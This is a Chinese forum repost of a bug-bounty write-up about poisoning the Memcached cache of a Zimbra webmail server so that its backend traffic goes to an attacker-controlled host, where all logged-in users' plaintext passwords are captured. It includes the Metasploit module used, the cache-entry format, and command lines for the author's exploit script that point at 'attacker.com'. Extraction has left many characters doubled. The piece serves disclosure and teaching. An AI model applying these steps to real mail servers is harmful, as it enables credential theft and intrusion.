搜索

[15769] 2020-08-24_挖洞经验以SSRF获取Zimbra邮件服务的用户明文凭据

文档创建者：s7ckTeam
浏览次数：34
最后更新：2025-01-18
2020-08-24_挖洞经验以SSRF获取Zimbra邮件服务的用户明文凭据 挖 洞 经 验   |   以 S S R F 获 取 Z i m b r a 邮 件 服 务 的 用 户 明 文 凭 据 原 创   c l o u d s   F r e e B u f   2 0 2 0 - 0 8 - 2 4 本 文 讲 述 了 作 者 以 邮 件 登 录 服 务 为 突 破 口 ， 本 文 讲 述 了 作 者 以 邮 件 登 录 服 务 为 突 破 口 ， 利 用 其 中 的 利 用 其 中 的 Z i m b r a 应 用 功 能 和 邮 件 端 口 配 置 应 用 功 能 和 邮 件 端 口 配 置 b u g ， 可 以 对 目 标 邮 件 服 务 端 执 行 流 量 转 发 设 置 （ ， 可 以 对 目 标 邮 件 服 务 端 执 行 流 量 转 发 设 置 （ S S R F ） ， 实 现 对 ） ， 实 现 对 所 有 登 录 用 户 的 明 文 凭 据 信 息 窃 取 。 所 有 登 录 用 户 的 明 文 凭 据 信 息 窃 取 。 背 景 介 绍 背 景 介 绍 C a f e b a z a a r （ 巴 扎 应 用 商 店 ） ： 成 立 于 2 0 1 1 年 4 月 的 一 个 伊 朗 安 卓 A P P 商 店 ， 专 门 给 波 斯 语 用 户 提 供 A P P 应 用 服 务 ， 其 上 有 1 6 4 0 0 0 多 个 伊 朗 和 国 际 软 件 游 戏 、 社 交 媒 体 、 信 息 等 其 他 应 用 软 件 。 2 0 1 9 年 4 月 ， 巴 扎 应 用 商 店 用 户 超 过 4 0 0 0 万 。 Z i m b r a ： Z i m b r a   是 一 家 提 供 专 业 的 电 子 邮 件 软 件 开 发 供 应 商 ， 主 要 提 供 Z i m b r a D e s k t o p 邮 件 管 理 软 件 ， 附 属 应 用 还 包 括 W e b M a i l 、 日 历 、 通 信 录 、 W e b 文 档 管 理 和 创 作 。 Z i m b r a 的 核 心 产 品 是 Z i m b r a 协 作 套 件 （ Z i m b r a   C o l l a b o r a t i o n S u i t e ， 简 称 Z C S ） 。 线 索 发 现 线 索 发 现 在 针 对 C a f e b a z a a r 的 前 期 探 测 阶 段 ， 我 以 其 W e b m a i l 邮 箱 服 务 页 面 - m a i l x . h e z a r d a s t a n . n e t 为 目 标 入 手 点 ， 执 行 了 一 系 列 的 枚 举 和 端 口 扫 描 ：
从 中 可 以 看 到 很 多 开 启 端 口 ， 且 1 1 2 1 1 端 口 的 分 布 式 缓 存 M e m c a c h e d 服 务 有 点 异 常 ， 经 过 测 试 我 有 了 以 下 发 现 ： 1 、 无 需 验 证 即 可 与 M e m c a c h e d 服 务 的 1 1 2 1 1 端 口 通 信 ； 2 、 Z i m b r a 应 用 会 把 其 中 涉 及 的 邮 箱 地 址 储 存 在 缓 存 中 ； 3 、 针 对 其 中 的 缓 存 数 据 ， 可 以 进 行 增 加 、 修 改 和 删 除 操 作 ； 4 、 可 以 针 对 目 标 系 统 实 施 D D O S 攻 击 。 之 后 ， 我 还 想 再 深 入 发 现 更 具 危 害 的 隐 患 ， 如 文 件 信 息 泄 露 、 远 程 代 码 执 行 等 。 对 对 Z i m b r a 应 用 的 深 入 测 试 应 用 的 深 入 测 试 这 里 可 以 参 考 一 下 Z i m b r a 的 源 码 。 在 M e m c a c h e d 涉 及 的 缓 存 服 务 中 ， 会 存 储 一 些 通 信 协 议 机 制 、 用 户 名 、 后 端 I P 地 址 等 信 息 。 在 此 ， 我 用 M e t a s p l o i t 的 m e m c a c h e d _ e x t r a c t o r 模 块 来 对 其 中 的 信 息 进 行 提 取 ：
虽 然 利 用 上 述 提 取 到 的 邮 箱 地 址 ， 可 以 实 施 进 一 步 的 钓 鱼 或 暴 力 破 解 攻 击 。 但 这 并 不 是 我 想 要 的 效 果 。 我 们 再 来 深 入 研 究 一 下 Z i m b r a 的 运 行 机 制 ： 1 、 首 先 ， 需 要 用 户 提 供 凭 据 进 行 身 份 验 证 ； 2 、 邮 件 服 务 端 （ m a i l x . h e z a r d a s t a n . n e t ） 会 在 缓 存 中 储 存 涉 及 到 的 用 户 名 、 后 台 服 务 U R L 路 径 ； 3 、 用 户 会 直 接 与 Z i m b r a 应 用 实 现 交 互 ； 4 、 邮 件 服 务 端 会 从 缓 存 中 取 后 台 服 务 路 径 ； 5 、 邮 件 服 务 端 的 交 互 会 伴 随 用 户 数 据 和 相 应 的 U R L 服 务 路 径 。 以 下 是 Z i m b r a 应 用 在 缓 存 中 存 储 的 用 户 数 据 样 例 ： r o u t e : p r o t o = i m a p s s l ; u s e r = [ R E D U C T E D ] @ c a f e b a z a a r . i r   1 2 7 . 0 . 0 . 1 : 7 9 9 3 r o u t e : p r o t o = p o p 3 s s l ; u s e r = [ R E D U C T E D ] @ c a f e b a z a a r . c l o u d   1 2 7 . 0 . 0 . 1 : 7 9 9 5 r o u t e : p r o t o = h t t p s s l ; u s e r = [ R E D U C T E D ] @ c a f e b a z a a r . i r   1 2 7 . 0 . 0 . 1 : 8 4 4 3 其 格 式 为 ： r o u t e : p r o t o = [ U s e r P r o t o c o l ] ; u s e r = E m a i l A d d r e s s O r I D
这 里 Z i m b r a 应 用 支 持 的 协 议 有 ： I M A P S S L   1 2 7 . 0 . 0 . 1 : 7 9 9 3 P O P 3 S S L   1 2 7 . 0 . 0 . 1 : 7 9 9 5 H T T P S S L ( H T T P S )   1 2 7 . 0 . 0 . 1 : 8 4 4 3 另 外 ， 需 要 注 意 的 是 ， 目 标 邮 件 服 务 端 m a i l x . h e z a r d a s t a n . n e t 开 启 了 以 下 可 以 通 过 互 联 网 访 问 的 邮 件 配 置 端 口 ： I M A P S S L   m a i l x . h e z a r d a s t a n . n e t : 7 9 9 3 P O P 3 S S L   m a i l x . h e z a r d a s t a n . n e t : 7 9 9 5 H T T P S S L ( H T T P S )   m a i l x . h e z a r d a s t a n . n e t : 8 4 4 3 以 此 为 突 破 口 ， 我 在 后 续 编 写 了 一 个 利 用 脚 本 。 发 现 发 现 S S R F 漏 洞 漏 洞 接 下 来 我 要 测 试 一 下 目 标 邮 件 服 务 端 中 是 否 存 在 S S R F 漏 洞 。 这 里 的 思 路 是 ： 1 、 把 其 中 涉 及 的 后 端 I P 地 址 更 改 指 向 到 攻 击 者 控 制 的 I P 地 址 ； 2 、 利 用 自 签 名 S S L 证 书 ， 并 在 攻 击 者 控 制 的 I P 地 址 中 开 启 S S L 监 听 程 序 ； 3 、 把 目 标 用 户 的 缓 存 数 据 修 改 为 转 发 指 向 至 攻 击 控 制 的 I P 地 址 。 按 照 上 述 思 路 ， 通 过 操 作 ， 成 功 在 攻 击 者 控 制 的 I P 中 收 到 了 来 自 目 标 邮 件 服 务 端 m a i x . h e z a r d a s t a n . n e t 的 相 关 缓 存 数 据 ， S S R F 有 效 。 如 下 ： 中 间 人 攻 击 中 间 人 攻 击 之 后 我 想 到 了 中 间 人 攻 击 ， 如 果 构 造 得 当 ， 利 用 这 种 攻 击 方 式 应 该 可 以 窃 取 大 量 的 用 户 信 息 ， 如 密 码 、 邮 箱 地 址 等 ， 当 然 还 得 考 虑 流 量 转 发 对 攻 击 效 果 的 影 响 。 由 于 目 标 邮 件 服 务 端 开 启 了 互 联 网 可 以 访 问 的 邮 件 配 置 端 口 ， 所 以 ， 我 想 实 现 这 种 中 间 人 攻 击 应 该 问 题 不 大 。
这 里 的 中 间 人 攻 击 思 路 为 ： 1 、 用 户 登 录 进 入 邮 箱 ， 后 端 I P 把 用 户 的 凭 据 等 相 关 信 息 进 行 了 缓 存 ； 2 、 攻 击 者 把 后 端 I P 地 址 更 改 指 向 为 攻 击 者 自 己 控 制 的 I P 地 址 ； 3 、 目 标 邮 件 服 务 端 m a i x . h e z a r d a s t a n . n e t 中 的 Z i m b r a 应 用 流 量 就 被 转 发 至 攻 击 者 控 制 的 I P 系 统 中 ； 4 、 攻 击 者 用 S S L 方 式 获 得 相 应 的 转 发 流 量 ， 并 可 从 中 提 取 用 户 密 码 等 信 息 ； 5 、 攻 击 者 也 可 通 过 S S L 方 式 连 接 目 标 邮 件 服 务 端 后 台 开 放 的 端 口 ； 6 、 攻 击 者 还 能 将 缓 存 转 发 流 量 更 改 默 认 配 置 。 为 此 ， 我 专 门 写 了 一 个 实 现 中 间 人 攻 击 的 漏 洞 利 用 脚 本 - H e z a r S p l o i t . p y 用 它 可 以 实 现 以 下 利 用 场 景 ： 1 、 提 取 目 标 邮 件 服 务 端 m a i x . h e z a r d a s t a n . n e t 中 已 登 录 的 用 户 邮 箱 地 址 ： p y t h o n   H e z a r S p l o i t . p y   - m   d u m p u s e r s
2 、 假 冒 I M A P S S L 服 务 端 直 接 与 用 户 通 信 ， 并 获 取 其 中 的 用 户 凭 据 ： 3 、 针 对 所 有 登 录 了 邮 箱 服 务 端 的 用 户 （ 或 是 特 定 用 户 ） ， 可 以 把 他 们 的 缓 存 流 量 转 发 至 我 控 制 的 服 务 器 中 ： 4 、 将 缓 存 转 发 流 量 更 改 默 认 配 置 ： 组 合 利 用 放 大 招 在 我 控 制 的 服 务 器 中 输 入 以 下 命 令 ， 进 行 流 量 监 听 ： p y t h o n   H e z a r S p l o i t . p y   - m   m i t m   — p o r t   4 4 4 4 p y t h o n   H e z a r S p l o i t . p y   - m   p o i s o n i n g   — u s e r   a l l   — i p   a t t a c k e r . c o m   — p o r t   4 4 4 4 p y t h o n   H e z a r S p l o i t . p y   - m   r e s e t p y t h o n   H e z a r S p l o i t . p y   - m   m i t m   — p o r t   4 4 4 4
在 其 它 终 端 中 输 入 以 下 命 令 ， 实 现 对 m a i x . h e z a r d a s t a n . n e t 的 缓 存 流 量 转 发 ： 结 果 ： p y t h o n   H e z a r S p l o i t . p y   - m   p o i s o n i n g   — u s e r   a l l   — i p   a t t a c k e r . c o m   — p o r t   4 4 4 4
这 种 方 式 可 以 获 取 到 几 乎 所 有 登 录 到 m a i x . h e z a r d a s t a n . n e t 的 用 户 名 和 密 码 信 息 ， 注 意 ， 密 码 全 是 明 文 ！ 目 标 邮 件 服 务 端 完 全 沦 陷 了 ： 后 话 后 话 我 上 报 漏 洞 后 ， C a f e b a z a a r 立 马 就 进 行 了 整 改 ， 不 到 一 小 时 就 修 复 了 漏 洞 。 之 后 我 也 获 得 了 $ 2 5 0 0 的 奖 励 。 参 考 来 源 参 考 来 源
h t t p s : / / m e d i u m . c o m / b u g b o u n t y w r i t e u p / s t o r y - o f - a - 2 - 5 k - b o u n t y - s s r f - o n - z i m b r a - l e d - t o - d u m p - a l l - c r e d e n t i a l s - i n - c l e a r - t e x t - 6 f e 8 2 6 0 0 5 c c c 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理